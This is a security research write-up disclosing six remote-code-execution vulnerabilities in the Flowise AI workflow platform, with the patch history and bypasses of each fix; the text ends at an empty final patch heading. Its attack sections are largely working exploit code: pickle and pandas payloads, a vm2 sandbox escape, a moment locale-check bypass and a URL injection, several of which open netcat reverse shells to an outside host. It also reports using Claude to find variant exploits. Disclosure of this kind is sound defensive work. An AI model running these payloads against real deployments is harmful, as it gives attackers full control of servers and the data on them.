By

Luke Jahnke
and
Alex & Jia
August 3, 2026

Cruising for Shells in Flowise

6 RCEs That Rode Flowise Low and Slow
web
flowise
On This Page
Share:

Introduction

With the plethora of LLMs and AI products available today, it is not uncommon for developers to be subscribed to multiple services at once. Although these services can be very powerful individually, stringing them together into a single, coherent workflow is often anything but straightforward. So it came as no surprise to us that Flowise has become one of the top GitHub repositories in this space.

Flowise advertises itself as a "generative AI development platform for building AI Agents and LLM workflows".It offers a self-hosted option, as well as a cloud/enterprise plan where users can pay for support and additional enterprise features such as multiple workspaces.

Past Vulnerabilities

Imagine our surprise when we navigated to Flowise's security advisories on GitHub and saw that it was full of high and critical vulnerabilities.

As we reviewed these advisories, our curiosity was piqued even further, and we decided to spend some time reviewing the codebase as well.

Most of the patched issues were of high or critical severity, and the technical details behind them were alarming.

For example, CVE-2025-58434 described how the password reset flow allowed account takeovers.This was due to its original implementation sending the password reset token in the response when requesting a password reset token for an email address of a registered user.


curl -i -X POST https://<target>/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"<victim@example.com>"}}'

{
  "user": {
    "id": "<redacted-uuid>",
    "name": "<redacted>",
    "email": "<victim@example.com>",
    "credential": "<redacted-hash>",
    "tempToken": "<redacted-tempToken>",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

Then there are also multiple instances where user input was executed as pure JavaScript, as seen in: CVE-2025-59434, CVE-2025-59528, GHSA-7944-7c6r-55vv, and many more.

There were also account-related issues, which can be used as part of an exploit chain. For example, the password change feature did not require the user to re-enter their password.The email change feature also had a similar issue.

Flowise's custom Model Context Protocol (MCP) node has also been associated with multiple prior Remote Code Execution (RCE) vulnerabilities, including CVE-2026-40933, CVE-2026-41268, CVE-2025-59528, and GHSA-6933-jpx5-q87q. These issues reflect a broader, systemic problem across the AI industry involving the insecure use of stdio MCP servers, as discussed in this analysis.

Discovered Vulnerabilities

Having reviewed all the low-hanging fruit covered thus far, we were determined to sweep the codebase for further vulnerabilities, with a particular focus on identifying Remote Code Execution (RCE) issues. After diving into this massive codebase, we were able to identify 6 more ways to achieve RCE in Flowise v3.1.1 and v3.1.2.

As we were writing up this post after having our submissions accepted, Flowise published a batch of vulnerabilities that were reported by ZDI and other researchers. These were vulnerabilities that affected versions prior to 3.1.0. Interestingly, CVE-2026-41264 was an RCE vulnerability in the CSVAgent node, which was what we reported as well. This meant that the patch was insufficient, and we were able to find additional vectors to exploit the issue in the patched version.

CVE-2025-26319 describes a sandbox escape vulnerability regarding the use of Flowise's nodevm, a fork of the insecure vm2 sandbox, that was achieved by abusing the puppeteer and playwright modules that were permitted within the sandbox. Flowise's remediation restricted allowed external modules to node-fetch, axios, and moment by default. However, we were able to bypass the sandbox again by exploiting the moment vulnerability CVE-2022-24785, as its patch is insufficient within a sandboxed execution context.

CVE-2026-41268 exploited the configuration of a Flowise Custom MCP node to inject a NODE_OPTIONS environment variable for a spawned node process. A part of Flowise's patch was to include NODE_OPTIONS in a denylist validation check, but from our previous research into hacking with environment variables we knew this validation check was not sufficient, and we were able to exploit the same node to achieve RCE again.

The other three RCE vulnerabilities we reported were novel and did not have previously documented variants. We identified multiple instances where Flowise permitted users to supply arbitrary options when initialising the TypeORM DataSource class, enabling exploitation of parameters such as entities to load and execute arbitrary JavaScript code. The SQL Database Chain and SQLite Record Manager nodes also allowed users to write a SQLite database to an arbitrary file path. We exploited this capability to create a polyglot shell script that was subsequently executed by chromium when launched via puppeteer.

The following sections provide a technical analysis of all RCE vulnerabilities that we identified in Flowise.

RCE via pandas (CSVAgent)

You might be wondering what pandas has to do with this Node.js codebase.

As it turns out, there were a few occurrences where pyodide was used to run Python code. This is because Flowise allows users to write their own pandas code to process CSV files, if they choose to.

One example is the CSVAgent node, which can be added to a Chatflow:

We observed that when creating a CSVAgent node in Flowise, there are 2 sources that we can influence:

  1. csvFileBase64 - the uploaded CSV file that gets processed.
  2. customReadCSVFunc - the pandas Python code.

The first source is csvFileBase64, which comes from the uploaded CSV file:


// /flowise-components/nodes/agents/CSVAgent/CSVAgent.ts

if (csvFileBase64.startsWith('FILE-STORAGE::')) {
    const fileName = csvFileBase64.replace('FILE-STORAGE::', '')
    if (fileName.startsWith('[') && fileName.endsWith(']')) {
        files = JSON.parse(fileName)
    } else {
        files = [fileName]
    }
    const orgId = options.orgId
    const chatflowid = options.chatflowid

    for (const file of files) {
        if (!file) continue
        const fileData = await getFileFromStorage(file, orgId, chatflowid)
        base64String += fileData.toString('base64')
    }
} else {
    if (csvFileBase64.startsWith('[') && csvFileBase64.endsWith(']')) {
        files = JSON.parse(csvFileBase64)
    } else {
        files = [csvFileBase64]
    }

    for (const file of files) {
        if (!file) continue
        const splitDataURI = file.split(',')
        splitDataURI.pop()
        base64String += splitDataURI.pop() ?? ''
    }
}

The second source is customReadCSVFunc, which is entered through the Additional Parameters window:


// /flowise-components/nodes/agents/CSVAgent/CSVAgent.ts

const pyodide = await LoadPyodide()

// First load the csv file and get the dataframe dictionary of column types
// For example using titanic.csv: {'PassengerId': 'int64', 'Survived': 'int64', 'Pclass': 'int64', 'Name': 'object', 'Sex': 'object', 'Age': 'float64', 'SibSp': 'int64', 'Parch': 'int64', 'Ticket': 'object', 'Fare': 'float64', 'Cabin': 'object', 'Embarked': 'object'}
let dataframeColDict = ''
let customReadCSVFunc = _customReadCSV ? _customReadCSV : 'read_csv(csv_data)'
const csvReadValidation = validatePythonCodeForDataFrame(customReadCSVFunc)
if (!csvReadValidation.valid) {
    throw new Error(
        `Custom read_csv code was rejected for security reasons (${
            csvReadValidation.reason ?? 'unsafe construct'
        }). Please use only safe pandas read_csv operations.`
    )
}

The maintainers know how dangerous allowing users to execute Python code is, so in order to mitigate against RCEs, the validatePythonCodeForDataFrame() function was used to validate user input:


// flowise-components/src/pythonCodeValidator.ts

const FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [
    // Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports)
    { pattern: /\bfrom\s+\S+\s+import\b/g, reason: 'import statement (from...import)' },
    { pattern: /\bimport\b/g, reason: 'import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)' },
    // Dangerous builtins
    { pattern: /\beval\s*\(/g, reason: 'eval()' },
    { pattern: /\bexec\s*\(/g, reason: 'exec()' },
    { pattern: /\bcompile\s*\(/g, reason: 'compile()' },
    { pattern: /\b__import__\s*\(/g, reason: '__import__()' },
    { pattern: /\bopen\s*\(/g, reason: 'open()' },
    { pattern: /\bbreakpoint\s*\(/g, reason: 'breakpoint()' },
    { pattern: /\binput\s*\(/g, reason: 'input()' },
    { pattern: /\braw_input\s*\(/g, reason: 'raw_input()' },
    { pattern: /\bglobals\s*\(/g, reason: 'globals()' },
    { pattern: /\blocals\s*\(/g, reason: 'locals()' },
    { pattern: /\bgetattr\s*\(/g, reason: 'getattr()' },
    { pattern: /\bsetattr\s*\(/g, reason: 'setattr()' },
    { pattern: /\bdelattr\s*\(/g, reason: 'delattr()' },
    { pattern: /\breload\s*\(/g, reason: 'reload()' },
    { pattern: /\bfile\s*\(/g, reason: 'file()' },
    { pattern: /\bexecfile\s*\(/g, reason: 'execfile()' },
    // Dangerous modules / attributes
    { pattern: /\bos\./g, reason: 'os module' },
    { pattern: /\bsubprocess\./g, reason: 'subprocess module' },
    { pattern: /\bsys\./g, reason: 'sys module' },
    { pattern: /\bsocket\./g, reason: 'socket module' },
    { pattern: /\burllib\./g, reason: 'urllib module' },
    { pattern: /\brequests\./g, reason: 'requests module' },
    { pattern: /\b__builtins__\b/g, reason: '__builtins__' },
    { pattern: /\b__loader__\b/g, reason: '__loader__' },
    { pattern: /\b__spec__\b/g, reason: '__spec__' },
    { pattern: /\b__class__\b/g, reason: '__class__ (reflection)' },
    { pattern: /\b__subclasses__\s*\(/g, reason: '__subclasses__()' },
    { pattern: /\b__bases__\b/g, reason: '__bases__' },
    { pattern: /\b__mro__\b/g, reason: '__mro__' },
    { pattern: /\b__globals__\b/g, reason: '__globals__' },
    { pattern: /\b__code__\b/g, reason: '__code__' },
    { pattern: /\b__closure__\b/g, reason: '__closure__' },
    { pattern: /\bvars\s*\(/g, reason: 'vars()' },
    { pattern: /\bdir\s*\(/g, reason: 'dir()' },
    { pattern: /\b__dict__\b/g, reason: '__dict__ (attribute reflection)' },
    { pattern: /\b__module__\b/g, reason: '__module__ (module reflection)' }
]

/**
 * Validates that the given Python code is safe to run in the pandas DataFrame context.
 * Call this before passing LLM-generated code to pyodide.runPythonAsync().
 */
export function validatePythonCodeForDataFrame(code: string): PythonCodeValidationResult {
    for (const { pattern, reason } of FORBIDDEN_PATTERNS) {
        pattern.lastIndex = 0
        if (pattern.test(code)) {
            return { valid: false, reason: `Forbidden construct: ${reason}` }
        }
    }

    return { valid: true }
}

Eventually, both sources end up in this Python code that gets executed via pyodide.runPythonAsync():


// /flowise-components/nodes/agents/CSVAgent/CSVAgent.ts

try {
    const code = `import pandas as pd
import base64
from io import StringIO
import json

base64_string = "${base64String}"

decoded_data = base64.b64decode(base64_string)

csv_data = StringIO(decoded_data.decode('utf-8'))

df = pd.${customReadCSVFunc}
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
    dataframeColDict = await pyodide.runPythonAsync(code)
} catch (error) {
    throw new Error(error)
}

The base64String variable was not useful to us as the input was base64-encoded before it reached this sink. This encoded string then gets decoded by the Python code.

Since this was a dead-end, we explored customReadCSVFunc instead.

One way to exploit this sink would be to look for a bypass in the denylist. The good thing is, if we find a bypass, exploitation should be straightforward since the code is run directly on the server.

Alternatively, we can go for a clean exploit by leveraging pandas itself.pd.read_pickle() is a prime candidate since we can control the functions called from pd.read_pickle() is somewhat of a wrapper that calls pickle.load(), so in theory we can achieve RCE since we can specify what gets unpickled.

First, we generate the base64-encoded pickled RCE payload that sends a reverse shell to our specified host and port:


import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh",))

payload = pickle.dumps(Exploit())
encoded = base64.b64encode(payload).decode()
print(encoded)

We are using a base64-encoded payload because the raw byte string contains null bytes, which will break the exploit later.


$ python3 pickle-payload-poc.py

gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=

Before using the payload directly in the customReadCSVFunc variable to perform pd.read_pickle(), we need to take care of a few constraints:

  • read_pickle() only expects "str, path object, or file-like object". So, we cannot simply feed it a byte string. The underlying pickle.load() expects a file handler as well.
  • We cannot use import or other related reserved words to use BytesIO for feeding an object into read_pickle().
  • We cannot use open() or other related functions to write the payload to disk to obtain a file handler either.
  • We cannot use URLs since the pyodide sandbox does not have raw socket capabilities.
    • To send requests, we need to use pyodide.http.pyfetch, which we are unable to due to the need for import.

So, one way to overcome this is to create a custom class that simulates BytesIO.The main functions called by read_pickle() are read() and readline(), so we just need to make sure they exist:


lass MiniBytesIO:
    def __init__(self, b):
        self.data = b
        self.pos = 0
    def read(self, n=-1):
        if n == -1:
            n = len(self.data) - self.pos
        chunk = self.data[self.pos:self.pos+n]
        self.pos += n
        return chunk
    def readline(self, n=-1):
        if self.pos >= len(self.data):
            return b""
        next_nl = self.data.find(b"\n", self.pos)
        if next_nl == -1:
            next_nl = len(self.data)
        if n != -1:
            next_nl = min(self.pos + n, next_nl)
        line = self.data[self.pos:next_nl+1]
        self.pos = next_nl + 1
        return line

Combining this MiniBytesIO class with the read_pickle() payload gives us the final PoC.

PoC


isnull("") # just a benign function from pandas to complete the existing code of `pd.`
class MiniBytesIO:
    def __init__(self, b):
        self.data = b
        self.pos = 0
    def read(self, n=-1):
        if n == -1:
            n = len(self.data) - self.pos
        chunk = self.data[self.pos:self.pos+n]
        self.pos += n
        return chunk
    def readline(self, n=-1):
        if self.pos >= len(self.data):
            return b""
        next_nl = self.data.find(b"\\n", self.pos)
        if next_nl == -1:
            next_nl = len(self.data)
        if n != -1:
            next_nl = min(self.pos + n, next_nl)
        line = self.data[self.pos:next_nl+1]
        self.pos = next_nl + 1
        return line
pd.read_pickle(MiniBytesIO(base64.b64decode("gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=")))

Over at Flowise, authenticate and create a new Chatflow:

Drag a CSV Agent node onto the canvas:

Click on `Additional Parameters` and fill the PoC in:

Close the window and click the Save icon on the top right. Then, note the UUID in the current URL, which will be used to trigger the Chatflow later.

Start a listening shell, then, in another terminal, send a curl command to the following URL (replacing <UUID> with your UUID) to start the Chatflow and trigger the RCE:


$ curl -X POST http://localhost:3000/api/v1/prediction/<UUID>

Claude's Assistance

After discovering this vulnerability through manual analysis, we fed this information into Claude to look for variants. It flagged another source (AirtableAgent) that also utilised Pyodide to execute Python code, but in that case, user input was passed as an encoded base64 string (similar to the base64String variable we previously saw):


try {
    const code = `import pandas as pd
import base64
import json

base64_string = "${base64String}"

decoded_data = base64.b64decode(base64_string)

json_data = json.loads(decoded_data)

df = pd.DataFrame(json_data)
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
    dataframeColDict = await pyodide.runPythonAsync(code)
    // ...
}

Unfortunately, as we determined earlier, this source is not exploitable, since we would not be able to break out of the quotes.

Besides looking for variants, Claude also pointed us to an alternative PoC that can be used to exploit the CSVAgent sink. Instead of using read_pickle(), we can simply "import" the os module from pandas.io.common.os and this will let us execute os.system() without hitting the denylist:


isnull("")
_m = pd.io.common.os
_m.system("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh")

Official Patch

The first patch implemented by the developers was flawed, as it only added to the denylist:


// Unsafe deserialization — read_pickle() executes arbitrary Python objects
   { pattern: /\bread_pickle\b/g, reason: 'read_pickle (unsafe deserialization / RCE)' },
   { pattern: /\bpickle\b/g, reason: 'pickle module (unsafe deserialization)' },
   { pattern: /\bmarshal\b/g, reason: 'marshal module (unsafe deserialization)' },
   // Class definitions — used to synthesise file-like objects that smuggle pickle payloads
   { pattern: /\bclass\s+\w/g, reason: 'class definition' }

Also ensuring that the input starts with read_csv():


export function validateCustomReadCSVFunction(code: string): PythonCodeValidationResult {
    const trimmed = code.trim()

    // Allowlist: must be a single read_csv() call
    if (!trimmed.startsWith('read_csv(')) {
        return { valid: false, reason: 'Custom read_csv code must start with read_csv(' }
    }

    // No newlines or semicolons — prevents class definitions and multi-statement payloads
    if (/[\n\r;]/.test(trimmed)) {
        return {
            valid: false,
            reason: 'Custom read_csv code must be a single function call with no newlines or semicolons'
        }
    }

    // Apply the denylist as a second layer
    return validatePythonCodeForDataFrame(trimmed)
}

The new constraints were thus:

  • Starts with read_csv(
  • No newlines or semicolons
  • No usage of read_pickle

However, this patch was bypassed by using the following payload:


read_csv((_m := pd.io.common.os, _m.system("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh")))

This payload satisfied the constraints, and also did not violate the os. checks.

Subsequently, the developers pushed a separate patch which heavily restricted the input to ensure that read_csv is the only call the user is allowed to invoke.

Eventually, the entire CSVAgent and AirtableAgent files were removed, as there was an issue with NFKC normalization.

vm2 Sandbox Escape

The Original Report

As mentioned earlier in this article, Flowise supports the execution of custom JavaScript code using the POST /api/v1/node-custom-function endpoint, as demonstrated in the following request and response.


POST /api/v1/node-custom-function HTTP/1.1
Host: 192.168.122.62:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
x-request-from: internal
Content-Length: 35
Origin: http://192.168.122.62:3000
Connection: keep-alive
Referer: http://192.168.122.62:3000/v2/agentcanvas
Cookie: {cookies}
Priority: u=0

{
    "javascriptFunction":"return 1+1"
}

Response for the above request


HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: 1
ETag: W/"1-2kuSN7rMzfGcB2DKt67EqDWQELA"
Date: Fri, 10 Apr 2026 10:54:52 GMT
Connection: keep-alive
Keep-Alive: timeout=5

2

This custom JavaScript code was executed in a sandbox environment, defaulting to a fork of patriksimek/vm2 version 3.9.25. The patriksimek/vm2 sandbox executes JavaScript within the same Node.js process, which introduces significant security limitations and makes safely isolating untrusted code inherently difficult. Due to these concerns, the maintainers had previously deprecated the project and issued the following warning:

https://github.com/n8n-io/vm2

The library contains critical security issues and should not be used in production. Maintenance has been discontinued. Consider migrating to isolated-vm.

Flowise's fork of vm2 was outdated and vulnerable to CVE-2026-22709. The following proof-of-concept demonstrates exploiting CVE-2026-22709 to achieve RCE on Flowise version 3.1.1.


const error = new Error();
error.name = Object.getOwnPropertySymbols(Array)[0];
const f = async () => error.stack;
const promise = f();
promise.catch(e => {
    const Error = e.constructor;
    const Function = Error.constructor;
    const f = new Function(
        "process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1234 -e /bin/sh')"
    );
    f();
});

However, we decided to try and identify a sandbox escape specific to Flowise to demonstrate the inherent risk of using the vm2 sandbox in a production context. Early into our investigation, we discovered the axios, moment and node-fetch modules were allowed by default within the vm2 sandbox.

https://github.com/FlowiseAI/Flowise/blob/flowise%403.1.1/packages/components/src/utils.ts#L124


...
import { NodeVM } from '@flowiseai/nodevm'
...
const defaultAllowExternalDependencies = ['axios', 'moment', 'node-fetch'] <1>
...
/**
 * Execute JavaScript code using either Sandbox or NodeVM
 * @param {string} code - The JavaScript code to execute
 * @param {ICommonObject} sandbox - The sandbox object with variables
 * @param {ICommonObject} options - Execution options
 * @returns {Promise<any>} - The execution result
 */
export const executeJavaScriptCode = async (
    code: string,
    sandbox: ICommonObject,
    options: {
        timeout?: number
        useSandbox?: boolean
        libraries?: string[]
        streamOutput?: (output: string) => void
        nodeVMOptions?: ICommonObject
    } = {}
): Promise<any> => {
    const { timeout = 300000, useSandbox = true, streamOutput, libraries = [], nodeVMOptions = {} } = options
    const shouldUseSandbox = useSandbox && process.env.E2B_APIKEY <2>
    let timeoutMs = timeout
    if (process.env.SANDBOX_TIMEOUT) {
        timeoutMs = parseInt(process.env.SANDBOX_TIMEOUT, 10)
    }
    if (shouldUseSandbox) { <2>
        ...
    } else {
        const builtinDeps = process.env.TOOL_FUNCTION_BUILTIN_DEP
            ? defaultAllowBuiltInDep.concat(process.env.TOOL_FUNCTION_BUILTIN_DEP.split(','))
            : defaultAllowBuiltInDep
        const externalDeps = process.env.TOOL_FUNCTION_EXTERNAL_DEP ? process.env.TOOL_FUNCTION_EXTERNAL_DEP.split(',') : []
        let deps = process.env.ALLOW_BUILTIN_DEP === 'true' ? availableDependencies.concat(externalDeps) : externalDeps
        deps.push(...defaultAllowExternalDependencies) <1>
        deps = [...new Set(deps)]
        ...
        secureWrappers['axios'] = secureAxiosWrapper
        // Node Fetch
        const secureNodeFetch = async (url: string, options: any = {}) => {
            return await secureFetch(url, options)
        }
        secureWrappers['node-fetch'] = secureNodeFetch
        const defaultNodeVMOptions: any = {
            console: 'inherit',
            sandbox,
            require: {
                external: {
                    modules: deps, <1>
                    transitive: false // Prevent transitive dependencies
                },
                builtin: builtinDeps,
                mock: secureWrappers // Replace HTTP libraries with secure wrappers
            },
            eval: false,
            wasm: false,
            timeout: timeoutMs
        }
        
        // Merge with custom nodeVMOptions if provided
        const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }
        const vm = new NodeVM(finalNodeVMOptions)
        try {
            const response = await vm.run(`module.exports = async function() {${code}}()`, __dirname)
            let finalOutput = response
            // Stream output if streaming function provided
            if (streamOutput && finalOutput) {
                let streamOutputString = finalOutput
                if (typeof response === 'object') {
                    streamOutputString = JSON.stringify(finalOutput, null, 2)
                }
                streamOutput(streamOutputString)
            }
            return parseOutput(finalOutput)
        } catch (e) {
            throw new Error(`NodeVM Execution Error: ${e}`)
        }
    }
}

<1> Allows custom JavaScript code to use the axios, moment and node-fetch dependencies by default inside the vm2 sandbox.

<2> If useSandbox=false or the E2B api key were not set, then it defaults to using the vm2 sandbox.

Including these external dependencies introduces a potential bypass of the vm2 sandbox. The vm2 sandbox relies on JavaScript proxies to intercept interactions between the sandbox and the host environment. However, built-in functions within imported external dependencies are not proxied, which could allow code execution outside the vm2 sandbox if a code execution sink exists.

Notably, the moment dependency had a previously reported path traversal vulnerability (CVE-2022-24785) that could lead to RCE when user input is passed to the locale function. The patch for CVE-2022-24785 implemented a regex check to disallow / or \ characters within a locale name, as shown in the code snippet below.

The vulnerable snippet and patch for CVE-2022-24785 in moment


function isLocaleNameSane(name) {
    // Prevent names that look like filesystem paths, i.e contain '/' or '\'
    return name.match('^[^/\\\\]*$') != null; <1>
}

function loadLocale(name) {
    var oldLocale = null,
        aliasedRequire;
    // TODO: Find a better way to register and load all the locales in Node
    if (
        locales[name] === undefined &&
        typeof module !== 'undefined' &&
        module &&
        module.exports &&
        isLocaleNameSane(name)
    ) {
        try {
            oldLocale = globalLocale._abbr;
            aliasedRequire = require;
            aliasedRequire('./locale/' + name); <2>
            getSetGlobalLocale(oldLocale);
        } catch (e) {
            // mark as not found to avoid repeating expensive file require call causing high CPU
            // when trying to find en-US, en_US, en-us for every format call
            locales[name] = null; // null means not found
        }
    }
    return locales[name];
}

<1> Performs a regex check to disallow / or \ characters within the provided locale name.

<2> The vulnerable sink that introduced CVE-2022-24785.

Flowise used moment version v2.29.3, which had the CVE-2022-24785 patch applied. However, the patch is ineffective in preventing directory traversal in a sandbox context. The validation function uses the match function from the provided object, so an object with a match function that always returns true would bypass the validation check, as shown in the following proof-of-concept script.


fake = new String("../../../../../../../../../../../../../../../etc/passwd");
fake.match = function(regexp){return true;}; <1>
require("moment").locale(fake);

<1> Bypasses the validation check for CVE-2022-24785.

Since we had achieved access to a require sink within the vm2 sandbox, the next goal was to discover a method to save our payload to the local file system. Of note was the File Uploader for a Datastore, where we found that the uploaded file was saved to /root/.flowise/storage/{organisation_id}/docustore/{store_id}/{filename} on our Docker deployment using the default STORAGE_TYPE=local storage type, as shown below along with the uploaded JavaScript payload.


~/.flowise/storage/8d2b67a5-1642-41b0-a9d7-66ff13dc3c56/docustore/a1f57d96-fa69-4a52-a416-b63c2e227e2c # pwd
/root/.flowise/storage/8d2b67a5-1642-41b0-a9d7-66ff13dc3c56/docustore/a1f57d96-fa69-4a52-a416-b63c2e227e2c
~/.flowise/storage/8d2b67a5-1642-41b0-a9d7-66ff13dc3c56/docustore/a1f57d96-fa69-4a52-a416-b63c2e227e2c # ls -al
total 12
drwxr-xr-x    2 root     root          4096 Apr 10 11:18 .
drwxr-xr-x    3 root     root          4096 Apr 10 11:18 ..
-rw-r--r--    1 root     root            94 Apr 10 11:18 rce.js <1>

<1> The uploaded JavaScript file using the File Uploader.

The contents of rce.js that contained a reverse shell payload (nc is installed by default on the Docker deployment).


process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')

We could retrieve the organisation ID after authentication and viewing the response from the POST /api/v1/auth/login endpoint and the store ID after uploading the file from the POST /api/v1/document-store/loader/process/{loader_id} endpoint, as shown in the responses below.

The response from POST /api/v1/auth/login after a successful authentication attempt.


HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Set-Cookie: 
Set-Cookie: 
Set-Cookie: 
Content-Type: application/json; charset=utf-8
Content-Length: 671
ETag: W/"29f-u+myZsO5JM/j9dl/aoJ2uzhs0LY"
Date: Thu, 09 Apr 2026 09:34:45 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "activeOrganizationCustomerId": null,
    "activeOrganizationId": "8d2b67a5-1642-41b0-a9d7-66ff13dc3c56", <1>
    "activeOrganizationProductId": "",
    "activeOrganizationSubscriptionId": null,
    "activeWorkspace": "Default Workspace",
    "activeWorkspaceId": "ab27b10b-9dd4-4a73-8af4-85a3da501cc6",
    "assignedWorkspaces": [
        {
            "id": "ab27b10b-9dd4-4a73-8af4-85a3da501cc6",
            "name": "Default Workspace",
            "organizationId": "8d2b67a5-1642-41b0-a9d7-66ff13dc3c56", <1>
            "role": "owner"
        }
    ],
    "email": "admin@flowise.local",
    "features": {},
    "id": "3b04c761-5645-4512-9510-04f4364dd513",
    "isOrganizationAdmin": true,
    "isSSO": false,
    "name": "Admin",
    "permissions": [
        "organization",
        "workspace"
    ],
    "roleId": "5002925a-de8d-1a71-8b4b-b7fd578d09df"
}

<1> The organisation ID.

The response from POST /api/v1/document-store/loader/process/{loader_id} after uploading the rce.js payload using the File Uploader on the UI


HTTP/1.1 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
Content-Length: 1008
ETag: W/"3f0-EwSa7kOgU5miynERuyBUV7TtUxI"
Date: Thu, 09 Apr 2026 10:57:57 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "characters": 94,
    "chunks": [
        {
            "chunkNo": 1,
            "docId": "b9089fb9-ade0-451f-b435-c3f25de90372",
            "id": "50fb8a15-7df2-4061-8226-c5813a46770f",
            "metadata": "{\"source\":\"blob\",\"blobType\":\"\"}",
            "pageContent": "process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')",
            "storeId": "a1f57d96-fa69-4a52-a416-b63c2e227e2c" <1>
        }
    ],
    "count": 1,
    "currentPage": 1,
    "description": "",
    "docId": "b9089fb9-ade0-451f-b435-c3f25de90372",
    "file": {
        "files": [
            {
                "id": "03245b07-af3c-421b-b4f6-0974caf3a6eb",
                "mimePrefix": "application/x-javascript",
                "name": "rce.js",
                "size": 94,
                "status": "NEW",
                "uploaded": "2026-04-09T10:57:57.225Z"
            }
        ],
        "id": "b9089fb9-ade0-451f-b435-c3f25de90372",
        "loaderConfig": {
            "file": "FILE-STORAGE::[\"rce.js\"]",
            "legacyBuild": "",
            "metadata": "",
            "omitMetadataKeys": "",
            "pointerName": "",
            "textSplitter": "",
            "usage": "perPage"
        },
        "loaderId": "fileLoader",
        "loaderName": "RCE Payload",
        "status": "SYNC",
        "totalChars": 94,
        "totalChunks": 1
    },
    "storeName": "RCE Document Store",
    "workspaceId": "ab27b10b-9dd4-4a73-8af4-85a3da501cc6"
}

<1> The store ID.

The GIF below demonstrates exploiting this sandbox escape by creating a Custom Function node in an Agentflow, which calls the vulnerable POST /api/v1/node-custom-function endpoin

The Follow-up Report

The sandbox escape vulnerability was initially reported to Flowise on 10 April 2026. The Flowise team originally attributed the root cause to the outdated vm2 sandbox and believed that updating to the latest version resolved it, as shown in the screenshot below.

As demonstrated in the previous section, the root cause was allowing the moment dependency in the sandboxed environment. We updated Flowise to commit dddfb3c90eec900d747790a439bd362a764039cd (the latest commit on the main branch at the time) to verify the sandbox escape and discovered that the vm2 sandbox was disabled by default due to changes in pull request #6168 (these changes were then reverted in PR #6206 after we reconfirmed exploiting the sandbox escape vulnerability).

This breaking change complicated the process of reconfirming the sandbox escape vulnerability. However, we identified that the following files invoke the executeJavaScriptCode function with the useSandbox=false option that executed code using the vm2 sandbox:

During the investigation of the above files, an injection issue into the sandboxed code was identified. This was caused by insufficient URL validation of the baseURL input, as demonstrated in the following code snippets.

https://github.com/FlowiseAI/Flowise/blob/dddfb3c90eec900d747790a439bd362a764039cd/packages/components/nodes/tools/AgentAsTool/AgentAsTool.ts


class AgentAsTool_Tools implements INode {
    ...
    async init(nodeData: INodeData, input: string, options: ICommonObject): Promise<any> {
        ...
        const baseURL = (nodeData.inputs?.baseURL as string) || (options.baseURL as string)

        // Validate agentflowid is a valid UUID
        if (!selectedAgentflowId || !isValidUUID(selectedAgentflowId)) {
            throw new Error('Invalid agentflow ID: must be a valid UUID')
        }

        // Validate baseURL is a valid URL
        if (!baseURL || !isValidURL(baseURL)) { <1>
            throw new Error('Invalid base URL: must be a valid URL')
        }
        ...
    }
}

class AgentflowTool extends StructuredTool {
    ...
    // @ts-ignore
    protected async _call(
        arg: z.infer<typeof this.schema>,
        _?: CallbackManagerForToolRun,
        flowConfig?: { sessionId?: string; chatId?: string; input?: string }
    ): Promise<string> {
        ...
        const code = `
const fetch = require('node-fetch');
const url = "${this.baseURL}/api/v1/prediction/${this.agentflowid}"; <2>

const body = $callBody;

const options = $callOptions;

try {
	const response = await fetch(url, options);
	const resp = await response.json();
	return resp.text;
} catch (error) {
	console.error(error);
	return '';
}
`
        ...
        let response = await executeJavaScriptCode(code, sandbox, {
            useSandbox: false <3>
        })

        if (typeof response === 'object') {
            response = JSON.stringify(response)
        }

        return response
    }
}

<1> Use of the broken isValidURL validation function, which is shown below.

<2> Injection via the baseURL setting into the sandboxed code.

<3> Uses the insecure vm2 sandbox.

https://github.com/FlowiseAI/Flowise/blob/dddfb3c90eec900d747790a439bd362a764039cd/packages/components/src/validator.ts


/**
 * Validates if a string is a valid URL
 * @param {string} url The string to validate
 * @returns {boolean} True if valid URL, false otherwise
 */
export const isValidURL = (url: string): boolean => {
    try {
        new URL(url) <1>
        return true
    } catch {
        return false
    }
}

<1> The JavaScript URL class does not validate characters in the URL hash fragment.

We exploited this insufficient URL validation to inject our original sandbox escape code (as shown below), confirming that the sandbox escape vulnerability persisted in commit dddfb3c90eec900d747790a439bd362a764039cd, which the following GIF confirms.


"https://192.168.122.62:3000/#\";\nfake = new String(\"../../../../../../../../../../../../../../../../..{home_folder}/.flowise/storage/{organisation_id}/docustore/{store_id}/{filename}\");\nfake.match = function(regexp){return true;};\nrequire(\"moment\").locale(fake);//"

This alternative method for exploiting the sandbox escape vulnerability was reported to Flowise on 11 April 2026.

Official Patch

